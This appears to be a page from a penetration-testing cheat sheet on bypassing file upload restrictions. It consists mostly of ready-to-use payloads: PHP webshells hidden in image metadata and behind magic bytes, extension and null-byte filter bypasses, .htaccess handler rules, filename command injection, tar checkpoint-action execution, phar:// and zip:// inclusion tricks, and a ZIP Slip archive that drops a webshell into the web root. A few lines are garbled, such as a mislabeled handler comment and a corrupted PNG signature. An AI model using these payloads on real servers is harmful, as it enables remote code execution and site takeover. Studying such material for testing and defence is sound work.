Skip to content

๐Ÿ“ File upload โ€‹

๐Ÿ“š Resources โ€‹

๐Ÿ’‰ Header Injection โ€‹

bash
# MIME type Spoofing
Content-Type: application/x-php
# Change it to:
Content-Type: image/png

# Upload a PHP file with a modified MIME type
curl -i -F "file=@shell.php;type=image/gif" --cookie "PHPSESSID=XXXXXXXXX" "http://example.com/?action=upload"

# Set large content length
Content-Length: 5000000

๐Ÿ”— Double Extension โ€‹

bash
# If the server only filters by extension
Content-Disposition: form-data; name="file"; filename="index.php.png"

To execute a file with a double extension, you can either upload an .htaccess file or rely on a misconfigured server.

bash
# If a file contains a .png extension, the server will execute it as PHP

AddHandler application/x-httpd-php .png # .png extension
AddHandler application/x-httpd-php .png # .test extension, and upload shell.test

Others payloads for double extension :

bash
# Nul Bytes, characters after a null byte are ignored
index.php%00.png
.php\x00.png
file.php%00.png%00.jpg

# CRLF
file.php%0a.png
file.php%0d%0a.png
file.php%0d%0a
file.php\x0d\x0a.png

# Others
file.png.php
file.png.jpg.php
file.png.pHp5
exploit.p.phphp

Tricks โ€‹

๐Ÿ–ผ๏ธ Code in Image Files (PNG, JPEG, GIF) โ€‹

๐Ÿ˜ PHP โ€‹

php
$image = imagecreatefromjpeg('image.jpg');
exif_set_tag($image, 'Comment', '<?php system("id"); ?>');
imagejpeg($image, 'image_with_php.jpg');

๐Ÿ› ๏ธ exiv2 - Exiftool โ€‹

bash
# add exif Description
exiv2 -c'A "<?php system($_GET[0]);?>"!' shell.jpg
bash
exiftool '-Comment<=shell.php' image.jpg
exiftool -Comment='<?php echo "Command:"; if($_GET){system($_GET["cmd"]);} __halt_compiler();' img.jpg

Add File โ€‹

bash
echo -n -e '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]);?>.' > shell.jpg
echo -n -e '\x89\x50\x4E\x47<?php system($_GET["cmd"]);?>.' > shell.png
bash
echo '<?php system($_REQUEST["cmd"]); ?>' >> image.png
echo image.png shell.php > evil.png

โœจ Magic Bytes โ€‹

Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.

  • PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[
  • JPG: \xff\xd8\xff
  • GIF: GIF87a OR GIF8;
bash
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/gif
GIF89a; <?php system("id") ?>

๐Ÿ”€ Vulnerability Pivoting (SQLi, XSS) โ€‹

You can also test sqli, XSS, rce, Path Traversal, SVG to XSS.

bash
# XSS Example
exiftool -Comment="<script>alert(1)</script>" image.jpg
exiftool -Author='"><img src=x onerror=alert(document.domain)>' image.jpg

๐Ÿ“„ Payloads โ€‹

bash
# Space char
index .php
index%20.php

# Others
file.php.\
file.php/
file.jsp/././././.
../../../../etc/passwd # path traversal exploit
shell # no extension
\\example.com\shell.png

.js, .jsp, .asp, .bat, .ps1, .sh, .pl, .htaccess
bash
# Extension
.php4
.php5
.php7
.php8
.phar
.phpt
.phps
.phtml
.phtm
.inc
shell.gif^shell.php

# Extension case-insensitive
shell.pHp

๐Ÿ–Œ๏ธ Bypass Compression & Resizing โ€‹

Reference: Persistent PHP payloads in PNGs โ€” Synacktiv.

Many web applications process uploaded images through compression or resizing (e.g., PHP-GD) to normalize uploads.
These transformations often strip malicious code embedded in images (erasing metadata, comments, chunks outside IDAT), rendering traditional file upload attacks ineffective.

However, attackers can exploit specific PNG chunks that are preserved after these operations (IDAT chunk is usually preserved).

Why this matters โ€‹

Even if an application does not allow direct PHP uploads, it may still be vulnerable in combination with another vulnerability, such as:

  • Local File Inclusion (LFI): an attacker can include an uploaded file via an LFI vulnerability.
  • Server-side template injection or unsafe file usage: some systems parse uploaded images or metadata unsafely.

In these cases, payloads hidden in "safe-looking" images (inside preserved chunks) can still be executed, bypassing MIME type checks or re-encoding protections.

โš™๏ธ Techniques โ€‹

1. PLTE chunk technique โ€‹

  • The PLTE chunk stores the color palette for indexed PNG images.
  • It is often preserved after compression/resizing.
  • Malicious code can be hidden in palette entries and later extracted if the file is included or processed unsafely.

2. IDAT chunk technique โ€‹

  • Embeds a payload directly in the pixel data (IDAT chunk).
  • Some resizing functions preserve enough of the chunk to retrieve the hidden data.
  • Typically more fragile than PLTE, but still viable in certain processing pipelines.

3. tEXt chunk technique โ€‹

  • Stores textual metadata in PNG files.
  • Certain libraries (e.g., thumbnailImage()) retain tEXt chunks even after resizing.
  • Payloads can be injected here and retrieved later.

๐Ÿ“ Filename Injection โ€‹

If the code used the command shell, SQL or others to register images, try to inject the filename

bash
a$(whoami)z.png # arootz.png
a`whoami`z.png
a';select+sleep(10);--z.png

๐Ÿ“ฆ Tar injection โ€‹

If the code use a script to compress file and use the argument to call filename like

bash
$1

The script are vulnerable. In bash the argument is passed with var like $1, $2 โ€ฆ but if the filename is named by the command tar gz, the commande can be injectable like :

bash
touch -- '--checkpoint=1' # filename 1
touch -- '--checkpoint-action=exec=sh shell.sh' # filename 2

shell.sh # put the command inside, this file is executed when it compressed

๐Ÿ—‚๏ธ Archive / File Tricks โ€‹

๐Ÿ“ฆ PHAR Tricks โ€‹

PHar is PHP Archive, if you can upload the .phar file, store the php webshell in phar, upload phra and send request like :

http
http://vuln.site/?file=phar://compress_phar/shell.php

๐Ÿ–ผ๏ธ Polyglot โ€‹

JPEG PHar Polyglot โ€‹

See this script for exploiting the vulnerability.

JavaScript / JPEG polyglot โ€‹

๐Ÿ“ฆ ZIP Tricks โ€‹

ZIP:// to JPG โ€‹

If only .jpg files are allowed, you can exploit this using the zip:// wrapper to bypass restrictions and execute PHP code.

bash
# Create a malicious PHP file
echo '<?php system($_GET["cmd"]);?>' > shell.php

# Compress it into a ZIP archive and rename it
zip shell.zip shell.php
mv shell.zip shell.jpg
bash
# Exploit LFI with zip://
?page=zip://path/shell.jpg%23shell.php?cmd=ls

# If the script does: include($_GET['page'] . '.php'), avoid using ".php"
?cmd=ls&page=zip://path/shell.jpg%23shell
bash
# Get ressource via ZIP upload and symlinks
# 'link' is a symlink pointing to index.php, three directories up
ln -s ../../../index.php link # create symlink to index.php
zip --symlinks test.zip link # create ZIP archive containing the symlink

ZIP Slip โ€‹

bash
# Create a file that extracts outside the target folder
echo "<?php system(\$_GET['cmd']); ?>" > evil.php
zip test.zip evil.php -q
zip test.zip -q -r ../../../var/www/html/evil.php evil.php